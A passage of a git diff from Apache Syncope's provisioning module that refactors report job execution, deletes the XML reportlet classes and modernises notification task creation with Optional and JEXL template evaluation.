AuthContextUtils.callAsAdmin(domainKey, () -> { - try { - delegate.execute(reportKey, executor); - } catch (Exception e) { - LOG.error("While executing report {}", reportKey, e); - throw new RuntimeException(e); - } + String domain = context.getMergedJobDataMap().getString(JobManager.DOMAIN_KEY); + if (domainHolder.getDomains().containsKey(domain)) { + AuthContextUtils.callAsAdmin(domain, () -> { + try { + ImplementationDAO implementationDAO = + ApplicationContextProvider.getApplicationContext().getBean(ImplementationDAO.class); + Implementation impl = implementationDAO.find( + context.getMergedJobDataMap().getString(JobManager.DELEGATE_IMPLEMENTATION)); + if (impl == null) { + LOG.error("Could not find Implementation '{}', aborting", + context.getMergedJobDataMap().getString(JobManager.DELEGATE_IMPLEMENTATION)); + } else { + delegate = ImplementationManager.buildReportJobDelegate( + impl, + () -> perContextReportJobDelegates.get(impl.getKey()), + instance -> perContextReportJobDelegates.put(impl.getKey(), instance)). + orElseThrow(() -> new IllegalArgumentException( + "Could not instantiate " + impl.getBody())); + delegate.execute( + reportKey, + context.getMergedJobDataMap().getBoolean(JobManager.DRY_RUN_JOBDETAIL_KEY), + context); + } + } catch (Exception e) { + LOG.error("While executing report {}", reportKey, e); + throw new RuntimeException(e); + } - return null; - }); + return null; + }); + } else { + LOG.debug("Domain {} not found, skipping", domain); + } } catch (RuntimeException e) { LOG.error("While executing report {}", reportKey, e); throw new JobExecutionException("While executing report " + reportKey, e); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReportXMLConst.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReportXMLConst.java deleted file mode 100644 index 6b21695e07e..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReportXMLConst.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -public final class ReportXMLConst { - - public static final String XSD_STRING = "xsd:string"; - - public static final String XSD_INT = "xsd:integer"; - - public static final String XSD_LONG = "xsd:long"; - - public static final String XSD_BOOLEAN = "xsd:boolean"; - - public static final String XSD_DATETIME = "xsd:dateTime"; - - public static final String ELEMENT_REPORT = "report"; - - public static final String ATTR_NAME = "name"; - - public static final String ATTR_CLASS = "class"; - - public static final String ELEMENT_REPORTLET = "reportlet"; - - private ReportXMLConst() { - // empty private constructor for static utility class - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/StaticReportlet.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/StaticReportlet.java deleted file mode 100644 index 23dab1798da..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/StaticReportlet.java +++ /dev/null @@ -1,133 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.common.lib.report.StaticReportletConf; -import org.apache.syncope.core.persistence.api.dao.ReportletConfClass; -import org.apache.syncope.core.provisioning.api.utils.FormatUtils; -import org.springframework.util.StringUtils; -import org.xml.sax.ContentHandler; -import org.xml.sax.SAXException; -import org.xml.sax.helpers.AttributesImpl; - -@ReportletConfClass(StaticReportletConf.class) -public class StaticReportlet extends AbstractReportlet { - - private StaticReportletConf conf; - - private static void doExtractConf(final ContentHandler handler) throws SAXException { - AttributesImpl atts = new AttributesImpl(); - handler.startElement("", "", "configurations", null); - handler.startElement("", "", "staticAttributes", atts); - - handler.startElement("", "", "string", atts); - handler.characters("string".toCharArray(), 0, "string".length()); - handler.endElement("", "", "string"); - - handler.startElement("", "", "long", atts); - handler.characters("long".toCharArray(), 0, "long".length()); - handler.endElement("", "", "long"); - - handler.startElement("", "", "double", atts); - handler.characters("double".toCharArray(), 0, "double".length()); - handler.endElement("", "", "double"); - - handler.startElement("", "", "date", atts); - handler.characters("date".toCharArray(), 0, "date".length()); - handler.endElement("", "", "date"); - - handler.startElement("", "", "double", atts); - handler.characters("double".toCharArray(), 0, "double".length()); - handler.endElement("", "", "double"); - - handler.startElement("", "", "enum", atts); - handler.characters("enum".toCharArray(), 0, "enum".length()); - handler.endElement("", "", "enum"); - - handler.startElement("", "", "list", atts); - handler.characters("list".toCharArray(), 0, "list".length()); - handler.endElement("", "", "list"); - - handler.endElement("", "", "staticAttributes"); - handler.endElement("", "", "configurations"); - } - - @Override - protected void doExtract( - final ReportletConf conf, - final ContentHandler handler, - final String refDesc) - throws SAXException { - - if (conf instanceof StaticReportletConf) { - this.conf = StaticReportletConf.class.cast(conf); - } else { - throw new ReportException(new IllegalArgumentException("Invalid configuration provided")); - } - - doExtractConf(handler); - - if (StringUtils.hasText(this.conf.getStringField())) { - handler.startElement("", "", "string", null); - handler.characters(this.conf.getStringField().toCharArray(), 0, this.conf.getStringField().length()); - handler.endElement("", "", "string"); - } - - if (this.conf.getLongField() != null) { - handler.startElement("", "", "long", null); - String printed = String.valueOf(this.conf.getLongField()); - handler.characters(printed.toCharArray(), 0, printed.length()); - handler.endElement("", "", "long"); - } - - if (this.conf.getDoubleField() != null) { - handler.startElement("", "", "double", null); - String printed = String.valueOf(this.conf.getDoubleField()); - handler.characters(printed.toCharArray(), 0, printed.length()); - handler.endElement("", "", "double"); - } - - if (this.conf.getDateField() != null) { - handler.startElement("", "", "date", null); - String printed = FormatUtils.format(this.conf.getDateField()); - handler.characters(printed.toCharArray(), 0, printed.length()); - handler.endElement("", "", "date"); - } - - if (this.conf.getTraceLevel() != null) { - handler.startElement("", "", "enum", null); - String printed = this.conf.getTraceLevel().name(); - handler.characters(printed.toCharArray(), 0, printed.length()); - handler.endElement("", "", "enum"); - } - - if (this.conf.getListField() != null && !this.conf.getListField().isEmpty()) { - handler.startElement("", "", "list", null); - for (String item : this.conf.getListField()) { - if (StringUtils.hasText(item)) { - handler.startElement("", "", "string", null); - handler.characters(item.toCharArray(), 0, item.length()); - handler.endElement("", "", "string"); - } - } - handler.endElement("", "", "list"); - } - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/UserReportlet.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/UserReportlet.java deleted file mode 100644 index af2c4a4c5cd..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/UserReportlet.java +++ /dev/null @@ -1,406 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -import java.util.Collection; -import java.util.List; -import java.util.Map; -import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.EntityTOUtils; -import org.apache.syncope.common.lib.SyncopeConstants; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.common.lib.report.UserReportletConf; -import org.apache.syncope.common.lib.report.UserReportletConf.Feature; -import org.apache.syncope.common.lib.to.AnyTO; -import org.apache.syncope.common.lib.to.MembershipTO; -import org.apache.syncope.common.lib.to.RelationshipTO; -import org.apache.syncope.common.lib.to.UserTO; -import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.core.persistence.api.dao.AnyDAO; -import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; -import org.apache.syncope.core.persistence.api.dao.RealmDAO; -import org.apache.syncope.core.persistence.api.dao.ReportletConfClass; -import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.core.persistence.api.entity.user.UMembership; -import org.apache.syncope.core.persistence.api.entity.user.URelationship; -import org.apache.syncope.core.persistence.api.entity.user.User; -import org.apache.syncope.core.persistence.api.search.SearchCondConverter; -import org.apache.syncope.core.persistence.api.search.SearchCondVisitor; -import org.apache.syncope.core.provisioning.api.data.AnyObjectDataBinder; -import org.apache.syncope.core.provisioning.api.data.GroupDataBinder; -import org.apache.syncope.core.provisioning.api.data.UserDataBinder; -import org.apache.syncope.core.provisioning.api.utils.FormatUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.xml.sax.ContentHandler; -import org.xml.sax.SAXException; -import org.xml.sax.helpers.AttributesImpl; - -@ReportletConfClass(UserReportletConf.class) -public class UserReportlet extends AbstractReportlet { - - @Autowired - protected RealmDAO realmDAO; - - @Autowired - protected UserDAO userDAO; - - @Autowired - protected AnySearchDAO searchDAO; - - @Autowired - protected UserDataBinder userDataBinder; - - @Autowired - protected GroupDataBinder groupDataBinder; - - @Autowired - protected AnyObjectDataBinder anyObjectDataBinder; - - @Autowired - protected SearchCondVisitor searchCondVisitor; - - protected UserReportletConf conf; - - protected void doExtractResources(final ContentHandler handler, final AnyTO anyTO) - throws SAXException { - - if (anyTO.getResources().isEmpty()) { - LOG.debug("No resources found for {}[{}]", anyTO.getClass().getSimpleName(), anyTO.getKey()); - } else { - AttributesImpl atts = new AttributesImpl(); - handler.startElement("", "", "resources", null); - - for (String resourceName : anyTO.getResources()) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, resourceName); - handler.startElement("", "", "resource", atts); - handler.endElement("", "", "resource"); - } - - handler.endElement("", "", "resources"); - } - } - - protected void doExtractAttributes( - final ContentHandler handler, - final AnyTO anyTO, - final Collection attrs, - final Collection derAttrs, - final Collection virAttrs) throws SAXException { - - AttributesImpl atts = new AttributesImpl(); - if (!attrs.isEmpty()) { - Map attrMap = EntityTOUtils.buildAttrMap(anyTO.getPlainAttrs()); - - handler.startElement("", "", "attributes", null); - for (String attrName : attrs) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, attrName); - handler.startElement("", "", "attribute", atts); - - if (attrMap.containsKey(attrName)) { - for (String value : attrMap.get(attrName).getValues()) { - handler.startElement("", "", "value", null); - handler.characters(value.toCharArray(), 0, value.length()); - handler.endElement("", "", "value"); - } - } else { - LOG.debug("{} not found for {}[{}]", attrName, - anyTO.getClass().getSimpleName(), anyTO.getKey()); - } - - handler.endElement("", "", "attribute"); - } - handler.endElement("", "", "attributes"); - } - - if (!derAttrs.isEmpty()) { - Map derAttrMap = EntityTOUtils.buildAttrMap(anyTO.getDerAttrs()); - - handler.startElement("", "", "derivedAttributes", null); - for (String attrName : derAttrs) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, attrName); - handler.startElement("", "", "derivedAttribute", atts); - - if (derAttrMap.containsKey(attrName)) { - for (String value : derAttrMap.get(attrName).getValues()) { - handler.startElement("", "", "value", null); - handler.characters(value.toCharArray(), 0, value.length()); - handler.endElement("", "", "value"); - } - } else { - LOG.debug("{} not found for {}[{}]", attrName, - anyTO.getClass().getSimpleName(), anyTO.getKey()); - } - - handler.endElement("", "", "derivedAttribute"); - } - handler.endElement("", "", "derivedAttributes"); - } - - if (!virAttrs.isEmpty()) { - Map virAttrMap = EntityTOUtils.buildAttrMap(anyTO.getVirAttrs()); - - handler.startElement("", "", "virtualAttributes", null); - for (String attrName : virAttrs) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, attrName); - handler.startElement("", "", "virtualAttribute", atts); - - if (virAttrMap.containsKey(attrName)) { - for (String value : virAttrMap.get(attrName).getValues()) { - handler.startElement("", "", "value", null); - handler.characters(value.toCharArray(), 0, value.length()); - handler.endElement("", "", "value"); - } - } else { - LOG.debug("{} not found for {}[{}]", attrName, - anyTO.getClass().getSimpleName(), anyTO.getKey()); - } - - handler.endElement("", "", "virtualAttribute"); - } - handler.endElement("", "", "virtualAttributes"); - } - } - - protected void doExtract(final ContentHandler handler, final List users) throws SAXException { - AttributesImpl atts = new AttributesImpl(); - for (User user : users) { - atts.clear(); - - for (Feature feature : conf.getFeatures()) { - String type = null; - String value = null; - switch (feature) { - case key: - type = ReportXMLConst.XSD_STRING; - value = user.getKey(); - break; - - case username: - type = ReportXMLConst.XSD_STRING; - value = user.getUsername(); - break; - - case status: - type = ReportXMLConst.XSD_STRING; - value = user.getStatus(); - break; - - case creationDate: - type = ReportXMLConst.XSD_DATETIME; - value = user.getCreationDate() == null - ? "" - : FormatUtils.format(user.getCreationDate()); - break; - - case lastLoginDate: - type = ReportXMLConst.XSD_DATETIME; - value = user.getLastLoginDate() == null - ? "" - : FormatUtils.format(user.getLastLoginDate()); - break; - - case changePwdDate: - type = ReportXMLConst.XSD_DATETIME; - value = user.getChangePwdDate() == null - ? "" - : FormatUtils.format(user.getChangePwdDate()); - break; - - case passwordHistorySize: - type = ReportXMLConst.XSD_INT; - value = String.valueOf(user.getPasswordHistory().size()); - break; - - case failedLoginCount: - type = ReportXMLConst.XSD_INT; - value = String.valueOf(user.getFailedLogins()); - break; - - default: - } - - if (type != null && value != null) { - atts.addAttribute("", "", feature.name(), type, value); - } - } - - handler.startElement("", "", "user", atts); - - // Using UserTO for attribute values, since the conversion logic of - // values to String is already encapsulated there - UserTO userTO = userDataBinder.getUserTO(user, true); - - doExtractAttributes(handler, userTO, conf.getPlainAttrs(), conf.getDerAttrs(), conf.getVirAttrs()); - - if (conf.getFeatures().contains(Feature.relationships)) { - handler.startElement("", "", "relationships", null); - - for (RelationshipTO rel : userTO.getRelationships()) { - atts.clear(); - - atts.addAttribute("", "", "anyObjectKey", - ReportXMLConst.XSD_STRING, rel.getOtherEndKey()); - handler.startElement("", "", "relationship", atts); - - if (conf.getFeatures().contains(Feature.resources)) { - for (URelationship actualRel : user.getRelationships(rel.getOtherEndKey())) { - doExtractResources( - handler, anyObjectDataBinder.getAnyObjectTO(actualRel.getRightEnd(), true)); - } - } - - handler.endElement("", "", "relationship"); - } - - handler.endElement("", "", "relationships"); - } - if (conf.getFeatures().contains(Feature.memberships)) { - handler.startElement("", "", "memberships", null); - - for (MembershipTO memb : userTO.getMemberships()) { - atts.clear(); - - atts.addAttribute("", "", "groupKey", - ReportXMLConst.XSD_STRING, memb.getGroupKey()); - atts.addAttribute("", "", "groupName", ReportXMLConst.XSD_STRING, memb.getGroupName()); - handler.startElement("", "", "membership", atts); - - if (conf.getFeatures().contains(Feature.resources)) { - UMembership actualMemb = user.getMembership(memb.getGroupKey()).orElse(null); - if (actualMemb == null) { - LOG.warn("Unexpected: cannot find membership for group {} for user {}", - memb.getGroupKey(), user); - } else { - doExtractResources(handler, groupDataBinder.getGroupTO(actualMemb.getRightEnd(), true)); - } - } - - handler.endElement("", "", "membership"); - } - - handler.endElement("", "", "memberships"); - } - - if (conf.getFeatures().contains(Feature.resources)) { - doExtractResources(handler, userTO); - } - - handler.endElement("", "", "user"); - } - } - - protected void doExtractConf(final ContentHandler handler) throws SAXException { - AttributesImpl atts = new AttributesImpl(); - handler.startElement("", "", "configurations", null); - handler.startElement("", "", "userAttributes", atts); - - for (Feature feature : conf.getFeatures()) { - atts.clear(); - handler.startElement("", "", "feature", atts); - handler.characters(feature.name().toCharArray(), 0, feature.name().length()); - handler.endElement("", "", "feature"); - } - - for (String attr : conf.getPlainAttrs()) { - atts.clear(); - handler.startElement("", "", "attribute", atts); - handler.characters(attr.toCharArray(), 0, attr.length()); - handler.endElement("", "", "attribute"); - } - - for (String derAttr : conf.getDerAttrs()) { - atts.clear(); - handler.startElement("", "", "derAttribute", atts); - handler.characters(derAttr.toCharArray(), 0, derAttr.length()); - handler.endElement("", "", "derAttribute"); - } - - for (String virAttr : conf.getVirAttrs()) { - atts.clear(); - handler.startElement("", "", "virAttribute", atts); - handler.characters(virAttr.toCharArray(), 0, virAttr.length()); - handler.endElement("", "", "virAttribute"); - } - - handler.endElement("", "", "userAttributes"); - handler.endElement("", "", "configurations"); - } - - protected int count() { - return StringUtils.isBlank(conf.getMatchingCond()) - ? userDAO.count() - : searchDAO.count( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - SearchCondConverter.convert(searchCondVisitor, conf.getMatchingCond()), - AnyTypeKind.USER); - } - - @Override - protected void doExtract( - final ReportletConf conf, - final ContentHandler handler, - final String refDesc) - throws SAXException { - - if (conf instanceof UserReportletConf) { - this.conf = UserReportletConf.class.cast(conf); - } else { - throw new ReportException(new IllegalArgumentException("Invalid configuration provided")); - } - - doExtractConf(handler); - - int total = count(); - int pages = (total / AnyDAO.DEFAULT_PAGE_SIZE) + 1; - - setStatus(refDesc, "Processing " + total + " users in " + pages + " pages"); - - for (int page = 1; page <= pages; page++) { - setStatus(refDesc, "Processing " + total + " users: page " + page + " of " + pages); - - List users; - if (StringUtils.isBlank(this.conf.getMatchingCond())) { - users = userDAO.findAll(page, AnyDAO.DEFAULT_PAGE_SIZE); - } else { - users = searchDAO.search( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - SearchCondConverter.convert(searchCondVisitor, this.conf.getMatchingCond()), - page, - AnyDAO.DEFAULT_PAGE_SIZE, - List.of(), - AnyTypeKind.USER); - } - - doExtract(handler, users); - } - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/notification/DefaultNotificationManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/notification/DefaultNotificationManager.java index 610f6f2f09d..18112735441 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/notification/DefaultNotificationManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/notification/DefaultNotificationManager.java @@ -18,7 +18,6 @@ */ package org.apache.syncope.core.provisioning.java.notification; -import java.io.StringWriter; import java.text.ParseException; import java.util.ArrayList; import java.util.HashMap; @@ -27,6 +26,7 @@ import java.util.Map; import java.util.Optional; import java.util.Set; +import org.apache.commons.jexl3.JexlContext; import org.apache.commons.jexl3.MapContext; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; @@ -183,17 +183,16 @@ protected NotificationTask getNotificationTask( final Any any, final Map jexlVars) { - if (any != null) { - virAttrHandler.getValues(any); - } + jexlVars.put("syncopeConf", confParamOps.list(SyncopeConstants.MASTER_DOMAIN)); + jexlVars.put("events", notification.getEvents()); + + Optional.ofNullable(any).ifPresent(virAttrHandler::getValues); List recipients = new ArrayList<>(); - if (notification.getRecipientsFIQL() != null) { - recipients.addAll(anySearchDAO.search( - SearchCondConverter.convert(searchCondVisitor, notification.getRecipientsFIQL()), - List.of(), AnyTypeKind.USER)); - } + Optional.ofNullable(notification.getRecipientsFIQL()). + ifPresent(fiql -> recipients.addAll(anySearchDAO.search( + SearchCondConverter.convert(searchCondVisitor, fiql), List.of(), AnyTypeKind.USER))); if (notification.isSelfAsRecipient() && any instanceof User) { recipients.add((User) any); @@ -204,65 +203,55 @@ protected NotificationTask getNotificationTask( recipients.forEach(recipient -> { virAttrHandler.getValues(recipient); - String email = getRecipientEmail(notification.getRecipientAttrName(), recipient); - if (email == null) { - LOG.warn("{} cannot be notified: {} not found", recipient, notification.getRecipientAttrName()); - } else { - recipientEmails.add(email); - recipientTOs.add(userDataBinder.getUserTO(recipient, true)); - } + Optional.ofNullable(getRecipientEmail(notification.getRecipientAttrName(), recipient)). + ifPresentOrElse( + email -> { + recipientEmails.add(email); + recipientTOs.add(userDataBinder.getUserTO(recipient, true)); + }, + () -> LOG.warn("{} cannot be notified: {} not found", + recipient, notification.getRecipientAttrName())); }); + jexlVars.put("recipients", recipientTOs); - if (notification.getStaticRecipients() != null) { - recipientEmails.addAll(notification.getStaticRecipients()); - } + Optional.ofNullable(notification.getStaticRecipients()).ifPresent(recipientEmails::addAll); - if (notification.getRecipientsProvider() != null) { + Optional.ofNullable(notification.getRecipientsProvider()).ifPresent(impl -> { try { RecipientsProvider recipientsProvider = ImplementationManager.build( - notification.getRecipientsProvider(), + impl, () -> perContextRecipientsProvider.orElse(null), instance -> perContextRecipientsProvider = Optional.of(instance)); - recipientEmails.addAll(recipientsProvider.provideRecipients(notification)); + recipientEmails.addAll(recipientsProvider.provideRecipients(notification, any, jexlVars)); } catch (Exception e) { LOG.error("While building {}", notification.getRecipientsProvider(), e); } - } + }); - jexlVars.put("recipients", recipientTOs); - jexlVars.put("syncopeConf", confParamOps.list(SyncopeConstants.MASTER_DOMAIN)); - jexlVars.put("events", notification.getEvents()); + JexlContext ctx = new MapContext(jexlVars); NotificationTask task = entityFactory.newEntity(NotificationTask.class); task.setNotification(notification); - if (any != null) { - task.setEntityKey(any.getKey()); - task.setAnyTypeKind(any.getType().getKind()); - } + Optional.ofNullable(any).ifPresent(a -> { + task.setEntityKey(a.getKey()); + task.setAnyTypeKind(a.getType().getKind()); + }); task.setTraceLevel(notification.getTraceLevel()); task.getRecipients().addAll(recipientEmails); task.setSender(notification.getSender()); - task.setSubject(notification.getSubject()); + task.setSubject(JexlUtils.evaluateTemplate(notification.getSubject(), ctx)); if (StringUtils.isNotBlank(notification.getTemplate().getTextTemplate())) { - task.setTextBody(evaluate(notification.getTemplate().getTextTemplate(), jexlVars)); + task.setTextBody(JexlUtils.evaluateTemplate(notification.getTemplate().getTextTemplate(), ctx)); } if (StringUtils.isNotBlank(notification.getTemplate().getHTMLTemplate())) { - task.setHtmlBody(evaluate(notification.getTemplate().getHTMLTemplate(), jexlVars)); + task.setHtmlBody(JexlUtils.evaluateTemplate(notification.getTemplate().getHTMLTemplate(), ctx)); } return task; } - protected static String evaluate(final String template, final Map jexlVars) { - StringWriter writer = new StringWriter(); - JexlUtils.newJxltEngine(). - createTemplate(template). - evaluate(new MapContext(jexlVars), writer); - return writer.toString(); - } - @Override public boolean notificationsAvailable( final AuditElements.EventCategoryType type, @@ -270,8 +259,9 @@ public boolean notificationsAvailable( final String subcategory, final String event) { - final String successEvent = AuditLoggerName.buildEvent(type, category, subcategory, event, Result.SUCCESS); - final String failureEvent = AuditLoggerName.buildEvent(type, category, subcategory, event, Result.FAILURE); + String successEvent = AuditLoggerName.buildEvent(type, category, subcategory, event, Result.SUCCESS); + String failureEvent = AuditLoggerName.buildEvent(type, category, subcategory, event, Result.FAILURE); + return notificationDAO.findAll().stream(). anyMatch(notification -> notification.isActive() && (notification.getEvents().contains(successEvent) @@ -304,8 +294,6 @@ public List createTasks( final Object output, final Object... input) { - String currentEvent = AuditLoggerName.buildEvent(type, category, subcategory, event, condition); - Any any = null; if (before instanceof UserTO) { @@ -349,8 +337,10 @@ public List createTasks( } if (notification.isActive()) { + String currentEvent = AuditLoggerName.buildEvent(type, category, subcategory, event, condition); + if (!notification.getEvents().contains(currentEvent)) { - LOG.debug("No events found about {}", any); + LOG.debug("Notification {} does not match {}", notification, currentEvent); } else if (anyType == null || any == null || notification.getAbout(anyType).isEmpty() || anyMatchDAO.matches(any, SearchCondConverter.convert( @@ -358,26 +348,26 @@ public List createTasks( LOG.debug("Creating notification task for event {} about {}", currentEvent, any); - Map model = new HashMap<>(); - model.put("who", who); - model.put("type", type); - model.put("category", category); - model.put("subcategory", subcategory); - model.put("event", event); - model.put("condition", condition); - model.put("before", before); - model.put("output", output); - model.put("input", input); + Map jexlVars = new HashMap<>(); + jexlVars.put("who", who); + jexlVars.put("type", type); + jexlVars.put("category", category); + jexlVars.put("subcategory", subcategory); + jexlVars.put("event", event); + jexlVars.put("condition", condition); + jexlVars.put("before", before); + jexlVars.put("output", output); + jexlVars.put("input", input); if (any instanceof User) { - model.put("user", userDataBinder.getUserTO((User) any, true)); + jexlVars.put("user", userDataBinder.getUserTO((User) any, true)); } else if (any instanceof Group) { - model.put("group", groupDataBinder.getGroupTO((Group) any, true)); + jexlVars.put("group", groupDataBinder.getGroupTO((Group) any, true)); } else if (any instanceof AnyObject) { - model.put("anyObject", anyObjectDataBinder.getAnyObjectTO((AnyObject) any, true)); + jexlVars.put("anyObject", anyObjectDataBinder.getAnyObjectTO((AnyObject) any, true)); } - NotificationTask notificationTask = getNotificationTask(notification, any, model); + NotificationTask notificationTask = getNotificationTask(notification, any, jexlVars); notificationTask = taskDAO.save(notificationTask); notifications.add(notificationTask); } @@ -402,24 +392,20 @@ protected String getRecipientEmail(final String recipientAttrName, final User us if ("username".equals(intAttrName.getField())) { email = user.getUsername(); } else if (intAttrName.getSchemaType() != null) { - UMembership membership = null; - if (intAttrName.getMembershipOfGroup() != null) { - Group group = groupDAO.findByName(intAttrName.getMembershipOfGroup()); - if (group != null) { - membership = user.getMembership(group.getKey()).orElse(null); - } - } + UMembership membership = Optional.ofNullable(intAttrName.getMembershipOfGroup()). + map(groupDAO::findByName). + flatMap(group -> user.getMembership(group.getKey())). + orElse(null); switch (intAttrName.getSchemaType()) { case PLAIN: Optional attr = membership == null ? user.getPlainAttr(recipientAttrName) : user.getPlainAttr(recipientAttrName, membership); - if (attr.isPresent()) { - email = attr.get().getValuesAsStrings().isEmpty() - ? null - : attr.get().getValuesAsStrings().get(0); - } + email = attr.map(a -> a.getValuesAsStrings().isEmpty() + ? null + : a.getValuesAsStrings().get(0)). + orElse(null); break; case DERIVED: diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/AbstractPropagationTaskExecutor.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/AbstractPropagationTaskExecutor.java index 02b992f1c57..3ee6c629efe 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/AbstractPropagationTaskExecutor.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/AbstractPropagationTaskExecutor.java @@ -42,12 +42,10 @@ import org.apache.syncope.common.lib.types.TaskType; import org.apache.syncope.common.lib.types.TraceLevel; import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; -import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; -import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.TaskDAO; -import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.AnyUtils; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.ExternalResource; import org.apache.syncope.core.persistence.api.entity.policy.PropagationPolicy; @@ -60,6 +58,7 @@ import org.apache.syncope.core.provisioning.api.ConnectorManager; import org.apache.syncope.core.provisioning.api.TimeoutException; import org.apache.syncope.core.provisioning.api.data.TaskDataBinder; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.provisioning.api.notification.NotificationManager; import org.apache.syncope.core.provisioning.api.propagation.PropagationActions; import org.apache.syncope.core.provisioning.api.propagation.PropagationManager; @@ -81,9 +80,12 @@ import org.identityconnectors.framework.common.objects.ConnectorObjectBuilder; import org.identityconnectors.framework.common.objects.Name; import org.identityconnectors.framework.common.objects.ObjectClass; +import org.identityconnectors.framework.common.objects.OperationalAttributes; +import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.identityconnectors.framework.common.objects.Uid; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.retry.RetryException; import org.springframework.retry.backoff.ExponentialBackOffPolicy; import org.springframework.retry.backoff.ExponentialRandomBackOffPolicy; @@ -103,12 +105,6 @@ public abstract class AbstractPropagationTaskExecutor implements PropagationTask protected final ConnObjectUtils connObjectUtils; - protected final UserDAO userDAO; - - protected final GroupDAO groupDAO; - - protected final AnyObjectDAO anyObjectDAO; - protected final TaskDAO taskDAO; protected final ExternalResourceDAO resourceDAO; @@ -129,14 +125,13 @@ public abstract class AbstractPropagationTaskExecutor implements PropagationTask protected final PlainAttrValidationManager validator; + protected final ApplicationEventPublisher publisher; + protected final Map perContextActions = new ConcurrentHashMap<>(); public AbstractPropagationTaskExecutor( final ConnectorManager connectorManager, final ConnObjectUtils connObjectUtils, - final UserDAO userDAO, - final GroupDAO groupDAO, - final AnyObjectDAO anyObjectDAO, final TaskDAO taskDAO, final ExternalResourceDAO resourceDAO, final PlainSchemaDAO plainSchemaDAO, @@ -146,13 +141,11 @@ public AbstractPropagationTaskExecutor( final AnyUtilsFactory anyUtilsFactory, final TaskUtilsFactory taskUtilsFactory, final OutboundMatcher 